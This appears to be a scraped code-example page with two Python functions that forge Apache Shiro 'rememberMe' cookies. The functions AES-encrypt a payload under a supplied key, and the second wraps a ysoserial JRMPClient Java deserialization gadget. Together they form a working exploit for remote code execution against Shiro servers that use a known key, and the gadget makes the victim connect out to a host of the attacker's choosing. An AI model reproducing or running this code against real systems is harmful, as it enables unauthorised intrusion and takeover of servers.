Esempio n. 1
0
 def get_aes_cipher_cookie(self, text, key):
     BS = AES.block_size
     pad = lambda s: s + (
         (BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
     mode = AES.MODE_CBC
     iv = uuid.uuid4().bytes
     encryptor = AES.new(base64decode(key), mode, iv)
     file_body = pad(base64decode(text))
     base64_ciphertext = base64encode(iv + encryptor.encrypt(file_body))
     return "rememberMe=" + str(base64_ciphertext)
Esempio n. 2
0
 def encode_rememberme(self, command, key):
     popen = subprocess.Popen([
         'java', '-jar', 'tool/ysoserial-0.0.6-SNAPSHOT-all.jar',
         'JRMPClient', command
     ],
                              stdout=subprocess.PIPE)
     BS = AES.block_size
     pad = lambda s: s + (
         (BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
     mode = AES.MODE_CBC
     iv = uuid.uuid4().bytes
     encryptor = AES.new(base64decode(key), mode, iv)
     file_body = pad(popen.stdout.read())
     base64_ciphertext = base64encode(iv + encryptor.encrypt(file_body))
     return "rememberMe=" + str(base64_ciphertext)